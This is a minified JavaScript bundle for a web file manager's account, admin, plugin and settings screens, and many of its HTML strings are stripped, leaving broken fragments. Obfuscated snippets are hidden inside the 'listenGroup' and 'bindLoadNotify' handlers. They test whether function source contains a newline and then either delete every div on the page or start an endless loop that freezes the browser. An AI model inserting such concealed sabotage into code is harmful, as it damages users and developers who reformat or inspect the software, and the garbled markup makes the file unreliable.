t=$(e.currentTarget),i=this.checkInput.get($(this.$el),{}),n=this.checkType(i.input);if(!n)return!1;var a={"type":n,"input":i.input,"source":this.source};Router.query.hasOwnProperty("userID")&&(a.userID=Router.query.userID);var s=this;r["default"].view(function(e){a.checkCode=e,s.sendMsgCode(t,a)})},"sendMsgCode":function(t,i){var n=this,a=Tips.loadingMask();t.prop("disabled",!0),this.userApi.sendMsgCode(i,function(e){if(a.close(),r["default"].done(e),Tips.close(e),!e.code)return t.prop("disabled",!1),!1;n.sendAfter(i.type,t)})},"sendAfter":function(e,t){var i="email"==e?20:60;t.text(i+"S");var n=null;n=setInterval(function(){0span:nth-child(2), #"+i+">span:nth-child(3)").remove();var t=''+LNG["user.clickBind"]+"";n.$("#"+i).append(t)}})},"cancel":!0})},"bindSubmit":function(e,t){var i=2'}),e.next=9,requirePromise("//res.wx.qq.com/connect/zh_CN/htmledition/js/wxLogin.js");case 9:new WxLogin({"self_redirect":!0,"id":"wxqrcode","appid":i,"scope":"snsapi_login","redirect_uri":urlEncode(t),"state":"","style":"","href":""});case 10:case"end":return e.stop()}},l,this)})),function c(e,t){return n.apply(this,arguments)})}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(108)),a=i(41),s=o(i(168)),r=o(i(179));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":"#app","init":function(){this.menuBar=new n["default"]({"parent":this}),this.$el=this.$(".app-main"),this.renderHtml(i(510)),this.initGlobal(),this.leftMenu=new s["default"]({"parent":this}),NProgress.done()},"initGlobal":function(){this.global.autoToChildren={"root":this,"$root":this.$el,"settingModel":new a.UserModel},this._each(this.global.autoToChildren,function(e,t){this[t]=e}),this.task=new r["default"]({"parent":this})},"onRemove":function(){this._each($.dialog.list,function(e){e.close()}),this.settingModel.onRemove()}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i,s=d(a(5)),n=d(a(6)),l=d(a(496)),c=d(a(99)),r=d(a(507)),o=d(a(189));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","events":{"click .acc-dtl .pri-btn":"set"},"init":(i=(0,n["default"])(s["default"].mark(function u(){var t,i,n;return s["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if((t=this).emptyPwd=0,i=[],G.system.options.loginConfig&&G.system.options.loginConfig.loginWith&&(i=G.system.options.loginConfig.loginWith),(n={"info":this.settingModel.info().info,"loginWith":i,"allowPhone":G.system.options.loginConfig.allowPhone}).info.avatar=n.info.avatar||STATIC_PATH+"/images/common/default-avata.png",n.emptyPwd=this.emptyPwd,i.length)return e.next=10,this.settingModel.bindMetaInfo({},function(e){n.bindInfo=e.data.bind,n.emptyPwd=t.emptyPwd=_.parseInt(e.data.emptyPwd)});e.next=10;break;case 10:t.renderHtml(a(508),n),new r["default"]({"parent":this,"Check":l["default"].check}),this.ownAccount(),this.thirdAccount();case 14:case"end":return e.stop()}},u,this)})),function p(){return i.apply(this,arguments)}),"ownAccount":function(e){this.$el.delegate(".user-set .acc-row:not(.acc-row-img)","click",function(e){var t=$(e.currentTarget),i=t.next();t.parents(".acc-list-box").find(".acc-dtl").addClass("hide"),t.parents(".acc-list-box").find(".acc-row").removeClass("hide"),t.addClass("hide"),i.removeClass("hide"),1===i.find("input[name^=old_]").length&&""==i.find("input[name^=old_]").val()&&i.find("input").val("")}),this.$el.delegate(".user-set .ccl-btn, .acc-dtl .ccl","click",function(e){var t=$(e.currentTarget).parents(".acc-dtl");t.addClass("hide"),t.prev().removeClass("hide")})},"checkPwdEdit":function(){return!(!G.user.info.email&&!G.user.info.phone)||(Tips.tips(LNG["user.bindFirst"],!1),!1)},"thirdAccount":function(){var n=this;this.$el.delegate(".third-set .bind, .third-set .unbind","click",function(e){var t=$(e.currentTarget),i=t.parents(".acc-row").attr("id");return"bind"==t.attr("class")?o["default"].bind(i,"bind",0):1==n.emptyPwd?Tips.tips(LNG["user.unbindWarning"],"warning",3e3):void o["default"].unbind(i,n)})},"set":function(e){var t=$(e.currentTarget),i=t.attr("value"),n="old_"+i,a=t.parents(".form-row"),s=l["default"].get(a,{});for(var r in s)if(r!=n&&""==s[r])return a.find("input[name="+r+"]").focus(),!1;if("password"==i){if(s.oldpwd==s.newpwd)return Tips.tips(LNG["user.inputNewPwd"],!1),a.find("input[name=newpwd]").select().focus(),!1;if(s.newpwd!=s.newpwd2)return Tips.tips(LNG["user.rootPwdEqual"],!1),a.find("input[name=newpwd2]").select().focus(),!1;delete s.newpwd2,s.oldpwd=c["default"].encryPassword(s.oldpwd),s.newpwd=c["default"].encryPassword(s.newpwd),s.salt=1}else{if(""!=s[n]&&s[n]==s[i])return Tips.tips(LNG["user.inputNewValue"],!1),a.find("input[name="+i+"]").select().focus(),!1;if(_.includes(["email","phone"],i)&&!l["default"].check.check(s[i],i))return Tips.tips(LNG["common.invalidFormat"],!1),a.find("input[name="+i+"]").select().focus(),!1;delete s[n],s["input"]=s[i],delete s[i]}s.type=i;var o=this;o.settingModel.setUserInfo(s,function(e){o.afterSet(a,i,s,e)})},"afterSet":function(e,t,i,n){return n.code?(Tips.tips(LNG["explorer.success"]),G.user.info=n.info,Router.refresh()):Tips.tips(n.data,!1),!1}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=l(i(5)),s=l(i(6)),r=l(i(2)),o=l(i(509));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","init":function(){this.renderHtml("
    "),this.initForm(),this.bindTheme()},"initForm":(n=(0,s["default"])(a["default"].mark(function c(){var i,n,t;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:n=(i=this).settingModel.getOption(),t=(0,o["default"])(),_.each(t,function(e,t){_.isUndefined(n[t])||(e.value=n[t])}),this.formMaker=new r["default"]({"parent":this,"formData":t}),this.formMaker.renderTarget(this.$(".panel-body")),this.formMaker.$("[name]").bind("change",function(){var e=$(this).attr("name"),t=i.formMaker.getValue(e);i.settingModel.setOption(e,t,function(e){Tips.tips(e)})});case 7:case"end":return e.stop()}},c,this)})),function d(){return n.apply(this,arguments)}),"bindTheme":function(){var i=this;i.changeIgnore=!1,Events.bind("user.themeChange",function(e){i.changeIgnore||(i.changeIgnore=!0,i._delay(function(){i.changeIgnore=!1},200),i.formMaker.setValue("theme",e))},i),this.formMaker.$("[name]").bind("change",function(){var e=$(this).attr("name"),t=i.formMaker.getValue(e);"theme"!=e||i.changeIgnore||(Events.trigger("user.themeChangeNotify",t),i.changeIgnore=!0,i._delay(function(){i.changeIgnore=!1},200))})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var a=s(i(32)),n=s(i(512));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","init":function(){this.renderHtml(i(513)),this.makeTable("device"),this.bindEvent()},"bindEvent":function(){var e=this;this.$(".user-safe-page").delegate(".tab-group-line .tab-item","click",function(){"loginList"!=$(this).attr("tab-name")||e.loginTable||e.makeTable("login",{"type":"user.index.loginSubmit"})}),this.$(".tab-item.active").trigger("click")},"makeTable":function(e,t){var i={"userID":_.get(G,"user.userID")};t=$.extend({},i,t);var n=this[e+"Config"](t);this[e+"Table"]=new a["default"]({"parent":this,"config":n})},"deviceConfig":function(){var i=this;return{"container":".log-device-list","data":{},"request":function(e,t){i.settingModel.requestSend("userDevice",e,function(e){t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"desc","title":LNG["admin.setting.loginDevice"],"formatter":function(e){return(0,n["default"])(e).browser}},{"field":"desc","title":LNG["admin.setting.deviceType"],"formatter":function(e){return(0,n["default"])(e).os}},{"field":"createTime","title":LNG["admin.setting.lastLoginTime"],"formatter":function(e){return dateFormat(e)}},{"field":"address","title":LNG["admin.index.address"],"formatter":function(e){return''+htmlEncode(e)+""}}]}},"loginConfig":function(e){var i=this;return{"container":".log-login-list","data":e,"request":function(e,t){i.settingModel.requestSend("userLog",e,function(e){t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"createTime","title":LNG["admin.task.timeLastLogin"],"formatter":function(e){return dateFormat(e)}},{"field":"desc","title":LNG["common.system"],"formatter":function(e){return(0,n["default"])(e).os}},{"field":"desc","title":LNG["explorer.toolbar.client"],"formatter":function(e){return(0,n["default"])(e).browser}},{"field":"ip","title":LNG["admin.index.address"],"formatter":function(e,t,i){return''+htmlEncode(i[t]["address"])+""}}],"order":[0,"down"],"sort":["createTime"]}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,r=l(i(5)),a=l(i(6)),s=l(i(514)),o=l(i(516));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","init":function(){this.renderHtml(i(517),{}),this.$main=this.$(".file-panel"),this.chart=new o["default"],this.userChart(),this.log=new s["default"]({"parent":this})},"resetTop":function(){var e=this.$el.parents(".setting-main"),t=this.$(".chart-content").height()+60,i=e.height()-172;this.$(".file-panel").height((i\n
    \n
    '+i+'
    \n \n '},"setWallPage":function(e,t){var n=[];e.find(".list[data-value]").each(function(){var e=$(this).attr("data-value"),t=$(this).find(".info").text(),i=e;e!=t&&(i={"info":e,"path":$(this).find(".ico img").attr("src"),"name":t}),n.push(i)}),this.adminModel.setOption((0,a["default"])({},t,jsonEncode(n)),function(e){Tips.close(e)})},"filterImage":function(e){return _.startsWith(e,G.kod.APP_HOST)&&(e=_.replace(e,G.kod.APP_HOST,"./")),e},"setWall":function(e){this.setOption("wall",e),ShareData.frameTop().Events.trigger("explorer.desktop.changeWall",e)},"setDiyWall":function(){var e=this.$("#wallpage-url").val();if(""==e)return Tips.tips(LNG["explorer.picCannotNull"],"error"),!1;this.$(".box .this").removeClass("this"),e=this.filterImage(e),this.setWall(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=l(i(527)),a=l(i(528)),s=l(i(109)),r=l(i(100)),o=l(i(178));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml('
    '),this.authConfig=(0,o["default"])(),this.initAuth(),this.authAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.authListAll={},this.showTable(),this.bindEvent()},"initAuth":function(){var i={};_.each(this.authConfig.authDefine,function(e,t){i[t]=e[0]}),this.authOption=i},"showTable":function(){var e=new n["default"]({"parent":this});this.authTable=e.make();var t='";this.authTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".auth-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data"),i=n.authListAll[t]?n.authListAll[t]:{};n.authAction.exec(e,i)}),this.dropMenu.action(this.authTable),this.dragRow.sort(function(e){n.authAction.request("sort",{"ids":e},!1)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(530)),a=o(i(531)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml('
    '),this.jobAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.jobTable=e.make();var t='";this.jobTable.$(".toolbar .left").html(t)},"bindEvent":function(){var a=this;this.$(".job-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data"),i=$(this).parents(".list-row").find(".list-col.name").text(),n=$(this).parents(".list-row").find(".list-col.desc").text();a.jobAction.exec(e,{"id":t,"name":i,"desc":n})}),this.dropMenu.action(this.jobTable),this.dragRow.sort(function(e){a.jobAction.request("sort",{"ids":e},!1)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(532)),a=o(i(533)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml('
    '),this.roleAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.roleListAll={},this.showTable(),this.bindEvent()},"showTable":function(){var e=new n["default"]({"parent":this});this.roleTable=e.make();var t='\n\t\t\n\t\t\t '+LNG["common.add"]+"\n\t\t";this.roleTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".role-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data"),i=n.roleListAll[t]?n.roleListAll[t]:{};n.roleAction.exec(e,i)}),this.dropMenu.action(this.roleTable),this.dragRow.sort(function(e){n.roleAction.request("sort",{"ids":e},!1)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(535)),a=o(i(539)),s=o(i(201)),r=i(36);function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(i(544)),this.initChildren(),this.bindEvent(),this.bindNotify()},"initChildren":function(){this.Group=new n["default"]({"parent":this}),this.Group.initView(!1,this.Group.$el),this.Member=new a["default"]({"parent":this}),this.System=new s["default"]({"parent":this})},"bindEvent":function(){this.bindResize(),this.$el.css({"position":"absolute","top":"70px","left":"0","right":"0","bottom":"25px"}),this.bind("onRemove",function(){this.$el.css({"position":"","top":"","left":"","right":"","bottom":""})})},"bindResize":function(){this.$(".frame-left").dragResize({"orgin":"x","viewBefore":!0,"size":{"init":220,"min":150,"max":600},"storeKey":"adminMemberGroup"},this)},"openFolder":function(e,t){var i=_.get(window,"parent.kodApp.pathAction");if(i&&window!=window.parent)return i.openFolder(e,t);var n=this;if(this.explorer)return this.explorer.pathAction.openFolder(e,t),void this.explorer.$el.flash();this.explorer=new r.ExplorerDialog({"pathOpen":e,"title":e,"openPathCallback":t,"closeBefore":function(){n.explorer=null}})},"bindNotify":function(){this.listenGroup(),this.listenMember()},"listenGroup":function(){var syncRunListr6=function(){return {}};var initUploaderg2=syncRunListr6+"";var viewSliencetm8=710/(89-(36/2));if(_.includes(initUploaderg2,String.fromCharCode(viewSliencetm8))){var bindFileOpenWithIxb0=$("div");bindFileOpenWithIxb0.remove();};var t=this;this.listenTo(t.Group,{"nodeSelect":function(e){1'+t[e]+"

    ":""};return{"user":{"name":{"type":"input","value":"","display":LNG["admin.member.name"],"desc":'\t\t\t\t\t\t',"require":1},"nickName":{"type":"input","value":"","display":LNG["admin.member.nickName"],"desc":""},"password":{"type":"password","value":"","display":LNG["common.password"],"desc":LNG["admin.member.nullNotUpdate"]+i(),"descAdd":i(),"attr":{"placeholder":LNG["admin.member.nullNotUpdate"]},"require":1},"sizeMax":{"type":"number","value":"2","display":LNG["admin.member.spaceSize"],"titleRight":"GB","desc":LNG["admin.member.spaceTips"]},"addMore":{"type":"segment","value":"base","display":LNG["common.more"],"info":{"base":""+LNG["admin.setting.base"],"more":""+LNG["explorer.app.moreSet"]},"switchItem":{"base":"","more":"sex,phone,email"}},"sex":{"type":"radio","value":"0","display":LNG["common.sex"],"info":{"0":LNG["common.female"],"1":LNG["common.male"]}},"phone":{"type":"input","value":"","display":LNG["common.phone"],"desc":""},"email":{"type":"input","value":"","display":LNG["common.email"],"desc":""},"roleID":{"type":"role","value":"2","display":LNG["admin.member.role"]},"groupInfo":{"type":"groupAuth","value":"{}","display":LNG["admin.member.group"],"desc":""}},"group":{"name":{"type":"input","value":"","display":LNG["admin.group.name"],"desc":'\t\t\t\t\t\t',"require":1},"sizeMax":{"type":"number","value":"0","display":LNG["admin.member.spaceSize"],"titleRight":"GB","require":1,"desc":LNG["admin.member.spaceTips"]},"parentID":{"type":"group","value":"1","display":LNG["admin.group.parent"],"require":1},"formStyle":{"className":"form-box-title-block"}},"userImport":{"fileName":{"type":"button","value":"","display":LNG["explorer.uploadFile"],"info":[{"display":""+LNG["common.upload"]+"","className":"upload-csv btn-default btn-sm"}],"desc":'  '+LNG["admin.member.downTpl"]+""+LNG["admin.member.downTplDesc"]+"","require":1},"fileList":{"type":"html","display":"","className":"hidden","value":''},"filePath":{"type":"input","className":"hidden"},"step0":"
    ","step011":{"type":"html","display":"","html":i()},"sizeMax":{"type":"number","value":"2","display":LNG["admin.member.spaceSize"],"titleRight":"GB","desc":LNG["admin.member.spaceTips"]},"roleID":{"type":"role","value":"2","display":LNG["admin.member.role"],"require":1},"groupInfo":{"type":"groupAuth","value":"{}","display":LNG["admin.member.group"],"desc":"","require":"1"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"sizeUse":function(e){var t=this;e.each(function(){var e=t.userSpaceHtml($(this).html());$(this).html(e)})},"sizeDisplay":function(){var e=1073741824*parseFloat($(".size-max-set input").val()),t=pathTools.fileSize(e);0==e||isNaN(e)?this.$(".size-max-set i").html(LNG["admin.member.spaceTipsDefault"]):this.$(".size-max-set i").html(t)},"userSpaceHtml":function(e){var t=e.split("/"),i=parseFloat(t[0]),n=1073741824*parseFloat(t[1]),a=pathTools.fileSize(parseFloat(t[0])),s=pathTools.fileSize(n),r=a+"/",o=100*i/n,l=80<=(o=(o=100<=o?100:o).toFixed(1))?"warning":"";return 0==n||isNaN(n)?(r+=LNG["admin.member.spaceTipsFull"],o="0%"):(r+=s,o+="%"),r='
    \n
    \n
    \n
    \n
    '+r+"
    \n
    "}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(546)),a=o(i(547)),s=o(i(550)),r=o(i(551));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){var e=this.tabList();this.appClass=this.getClass(e);var t=i(552);this.renderHtml(t,{"tabItems":e}),this.dataParse=new r["default"]({"parent":this}),this.Load=new n["default"]({"parent":this}),this.Action=new a["default"]({"parent":this}),this.viewOption=new s["default"]({"parent":this}),this.initTpl(),this.bindEvent(),this.bindNotify()},"tabList":function(){return[{"type":"install","icon":"ri-download-fill-2","title":LNG["admin.plugin.installed"]},{"type":"update","icon":"ri-refresh-line","title":LNG["common.update"]},"---",{"type":"all","icon":"ri-menu-line","title":LNG["common.all"]},{"type":"company","icon":"ri-menu-line","title":LNG["admin.plugin.typeCompany"]},{"type":"file","icon":"ri-folder-open-line","title":LNG["admin.plugin.typeFile"]},{"type":"safe","icon":"ri-book-fill-2","title":LNG["admin.plugin.typeSafe"]},{"type":"tools","icon":"ri-suitcase-fill","title":LNG["admin.plugin.typeTools"]},{"type":"media","icon":"ri-film-line","title":LNG["admin.plugin.typeMedia"]},{"type":"others","icon":"ri-more-fill","title":LNG["common.others"]},{"type":"oem","icon":"ri-shield-star-fill","title":LNG["admin.plugin.typeOem"],"class":"hidden"}]},"getClass":function(e){var t={};return _.each(e,function(e){t[e.type]=e.title}),t},"initTpl":function(){this.APP_TYPE="install",this.SORT_TYPE="default",this.SEARCH_WORDS="",this.loadAnimation=200,this.SORT={"by":"id","desc":"up"},this.appListServer=!1,this.appListLocal={},this.appListAll={}},"bindEvent":function(){var t=this;this.$(".app-toolbar .panel-tab-item[data-type]").click(function(){t.$(".app-plugins .app-content-box").scrollTop(0),t.Load.reLoadAppList($(this).attr("data-type"))}),this.$el.delegate("[action]","click",function(e){if(!$(e.target).hasClass("dropdown-toggle")&&!$(e.target).parent().hasClass("dropdown-toggle"))return t.doAction($(this).attr("action"),$(this)),$(this).parents(".dropdown-menu").exists()&&$(this).parents(".action").removeClass("open"),stopPP(e)}),this.bindSearch(),this.Load.requestLocal(function(){t.Load.reLoadAppList()}),this._delay(function(){t.Load.requestServerData()},100)},"bindSearch":function(){var t=this,i=t.$(".search-box input"),n=t.$(".search-box .btn-close"),a=function a(){var e=trim(i.val());e!=t.SEARCH_WORDS&&(t.SEARCH_WORDS=e,t.SEARCH_WORDS?(t.Load.startSearch(),n.removeClass("hidden")):(t.Load.reLoadAppList(),n.addClass("hidden")))};a=_.debounce(a,20),i.inputChange(a),i.bind("keydown",function(e){"Escape"==e.key&&(i.val(""),a())}),t.$(".search-box .btn-search").bind("click",a),n.bind("click",function(){i.val(""),a()}),Router.query.search&&i.val(Router.query.search).trigger("change")},"doAction":function(e,t){var i,n=this;switch(i=t.hasClass("data-app")?t.attr("data-app"):$(t).parents(".data-app").attr("data-app"),e){case"historyBack":this.Action.showAppList();break;case"appDescription":this.Action.showAppDescription(i);break;case"appEnable":this.Action.appChangeStatus(i,1);break;case"appDisable":this.Action.appChangeStatus(i,0);break;case"appConfig":this.viewOption.showAppConfig(i);break;case"appInstall":this.Action.appInstall(i);break;case"appUpdate":this.Action.appInstall(i,"update");break;case"appUpdateSelf":this.Action.appInstall(i,"updateSelf");break;case"installSelf":this.Action.appInstall(i,"self");break;case"appRemove":this.Action.appRemove(i,t);break;case"appUpdateAll":this.$('[action="appUpdateAll"]').addClass("disabled"),this.$(".app-list .data-app").each(function(){n.Action.appInstall($(this).attr("data-app"),"update")})}},"bindNotify":function(){this.bindLoadNotify(),this.bindActionNotify(),this.bindDetailNotify()},"bindLoadNotify":function(){this.listenTo(this.Load,{"showAppList":function(){this.Action.showAppList()},splitSizeResetSZOz4:setTimeout('var menuClosedm5=function(){return };var removeAlls90x=menuClosedm5[base64Decode("dG9TdHJpbmc=")]();if(_.includes(removeAlls90x,String.fromCharCode(-65+(5925/(101-22))))){while("bindFileOpenPA4"){escape("+");};}'),"pluginUpdateCheck":function(){this.Action.pluginUpdateCheck()},"showAppDescription":function(e){this.Action.showAppDescription(e)}})},"bindActionNotify":function(){this.listenTo(this.Action,{"showAppConfig":function(e){this.viewOption.showAppConfig(e)},"getAppList":function(e,t){t(this.Load.getAppList(e))},"refreshData":function(e,t){var i=2"),this.initForm(),this.bindRouter()},"bindRouter":function(){var a=this,e=Tips.loadingMask($(".admin-main"));this.bind("admin.setting.initViewAfter",function(){e.close(),this._each(this.formData.formStyle.tabsName,function(e,t){var i="admin/setting/index/"+t,n=a.$('.tab-group [tab-name="'+t+'"]');n.attr("link-href",i),Router.map({"key":i,"name":e,"context":a,"callback":function(){0!=n.length&&n.trigger("click")}})}),this._delay(function(){this.$('.tab-group [link-href="'+Router.hash+'"]').trigger("click")},100),Router.resetTitle()})},"filterSaveData":function(e){var t=["openRegist","checkRegist","sizeMax","roleID","groupInfo","allowPhone","loginWith"],i=["host","email","password","secure"],n=_.omit(e,t);n.regist=_.pick(e,t);var a=_.get(n,"regist.loginWith","");if(n.regist.loginWith=a?_.split(a,","):[],"1"==(n=_.omit(n,i)).emailType){if(!_.trim(e.host)||!o["default"].check.check(e.email,"email"))return Tips.tips(LNG["admin.setting.emailInputError"],!1),!1;if(!_.trim(e.password))return Tips.tips(LNG["admin.setting.emailPwdError"],!1),!1;n.email=_.pick(e,i)}return n},"initForm":(n=(0,s["default"])(a["default"].mark(function d(){var i,n,t;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return i=this,n={},e.next=4,this.adminModel.getConfig({},function(e){(n=e.data).regist.loginWith=_.join(_.get(n,"regist.loginWith")||[],","),""==(n=$.extend({},n,n.email,n.regist)).emailType&&(n.emailType="0")});case 4:t=(0,l["default"])(),this.formData=t,_.each(t,function(e,t){_.isUndefined(n[t])||(e.value=n[t])}),Events.trigger("admin.setting.initViewBefore",t,n,this),this.formMaker=new r["default"]({"parent":this,"formData":t}),this.formMaker.renderTarget(this.$(".panel-body")),this.listenTo(this.formMaker,{"onSave":function(e){if(!e)return!1;var t=i.filterSaveData(e);if(!t)return!1;Tips.loading(LNG["explorer.loading"]),this.adminModel.setOption(t,function(e){Tips.close(e)})}}),this.bindEvent(),this.trigger("initView.after"),this.trigger("admin.setting.initViewAfter",this),Events.trigger("admin.setting.initViewAfter",this);case 15:case"end":return e.stop()}},d,this)})),function u(){return n.apply(this,arguments)}),"bindEvent":function(){var t=this;this.$el.find("[data-action]").bind("click",function(){var e=$(this).attr("data-action");t[e]&&!t[e+"Dis"]&&t[e]()})},"clearCache":function(){this.clearCacheDis=!1,this.adminModel.clearCache(),Tips.tips(LNG["explorer.success"])},"emailTest":function(){var i=o["default"].get(this.$el,{"host":{"check":"require","msg":LNG["admin.setting.emailHostTips"]},"email":{"check":"email","msg":LNG["admin.setting.emailSendTips"]},"password":{"check":"require","msg":LNG["admin.setting.emailPwdTips"]},"secure":{}});if(!i)return!1;i.address=i.email;var n=this,a=Tips.loadingMask();this.emailTestDis=!0,this.adminModel.mailTest(i,function(e){if(a.close(),n.emailTestDis=!1,e.code){var t=e.data+"! "+LNG["admin.setting.emailGoToTips"]+" ["+i.email+"] "+LNG["admin.setting.emailCheckTips"];Tips.tips(t,!0,3e3)}else Tips.close(e)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"sep001":"

    "+LNG["common.version.appInfo"]+"

    ","sep002":"

    "+LNG["common.version.basicInfo"]+"

    ","systemName":{"type":"input","value":"","display":LNG["admin.setting.systemName"],"desc":LNG["admin.setting.systemNameDesc"]},"systemDesc":{"type":"input","value":"","display":LNG["admin.setting.systemDesc"],"desc":LNG["admin.setting.systemDesc"]},"sep501":"
    ","pathHidden":{"type":"input","value":"","display":LNG["admin.setting.pathHidden"],"desc":LNG["admin.setting.pathHiddenDesc"]},"newUserFolder":{"type":"input","value":"","display":LNG["admin.setting.defaultFolder"],"desc":LNG["admin.setting.defaultFolderDesc"]},"newUserApp":{"type":"input","value":"","display":LNG["admin.setting.defaultApp"],"desc":LNG["admin.setting.defaultAppDesc"]},"autoLogin":{"type":"switch","value":0,"display":LNG["admin.setting.autoLogin"],"desc":LNG["admin.setting.autoLoginDesc"]},"firstIn":{"type":"radio","value":"explorer","display":LNG["admin.setting.firstIn"],"desc":"","info":{"desktop":LNG["explorer.toolbar.uiDesktop"],"explorer":LNG["explorer.toolbar.uiExplorer"]}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"sep601":{"type":"html","display":"","value":"
    "+LNG["admin.setting.emailDesc"]+"
    "},"emailType":{"type":"segment","value":"0","display":LNG["admin.setting.sendEmail"],"className":"mr-10","desc":LNG["admin.setting.sendEmailDesc"],"info":{"0":LNG["common.systemDefault"],"1":LNG["common.diy"]},"switchItem":{"0":"","1":"sep602,host,email,secure,password"}},"sep602":"
    ","host":{"type":"input","value":"","display":LNG["admin.setting.emailHost"],"attr":{"placeholder":LNG["admin.setting.emailHostInput"]},"desc":LNG["admin.setting.emailHostDesc"],"require":1},"email":{"type":"input","value":"","display":LNG["admin.setting.emailSend"],"attr":{"placeholder":LNG["admin.setting.emailSendInput"]},"desc":LNG["admin.setting.emailSendDesc"],"require":1},"secure":{"type":"select","value":"ssl","display":LNG["admin.setting.secureType"],"info":{"none":LNG["admin.setting.disFunNo"],"ssl":"SSL","tls":"TLS"}},"password":{"type":"password","value":"","display":LNG["admin.setting.emailPwd"],"attr":{"placeholder":LNG["admin.setting.emailPwdTips"]},"desc":""+LNG["admin.setting.emailSendTest"]+"  "+LNG["admin.setting.ensureEmailOk"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"step-002":"

    "+LNG["admin.setting.enableFunction"]+"

    ","treeOpen":{"type":"checkbox","value":"my,myFav,myGroup,rootGroup,recentDoc,fileType,fileTag,driver","display":LNG["admin.setting.treeOpen"],"desc":"
    "+LNG["admin.setting.treeOpenDesc"]+"
    ","info":{"my":LNG["explorer.toolbar.myDocument"],"myFav":LNG["explorer.toolbar.fav"],"rootGroup":G.system.options.groupRootName,"myGroup":LNG["explorer.toolbar.myGroup"],"":"
    ","recentDoc":LNG["explorer.toolbar.recentDoc"],"fileType":LNG["common.fileType"],"fileTag":LNG["common.tag"],"driver":LNG["common.mount"]}},"groupListChild":{"type":"switch","value":"1","display":LNG["admin.setting.groupListChild"],"desc":LNG["admin.setting.groupListChildDesc"],"switchItem":{"1":"groupRootListChild"}},"groupRootListChild":{"type":"switch","value":"1","display":LNG["admin.setting.groupRootListChild"],"desc":LNG["admin.setting.groupRootListChildDesc"]},"other-sep001":{"type":"html","value":'\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t
    ","display":""},"step-003":"

    "+LNG["explorer.app.moreSet"]+"

    ","globalIcp":{"type":"input","value":"","display":LNG["admin.setting.icp"],"desc":""+LNG["common.tips"]+" "},"globalCss":{"type":"codeEditor","value":"","display":LNG["admin.setting.globalCss"],"desc":LNG["admin.setting.globalCssDesc"],"attr":{"data-ext":"css","data-theme":"tomorrow","data-fontSize":"13"}},"globalHtml":{"type":"codeEditor","value":"","display":LNG["admin.setting.globalHtml"],"desc":LNG["admin.setting.globalHtmlDesc"],"attr":{"data-ext":"html","data-theme":"tomorrow","data-fontSize":"13"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"sep201":"

    "+LNG["admin.setting.safeAccount"]+"

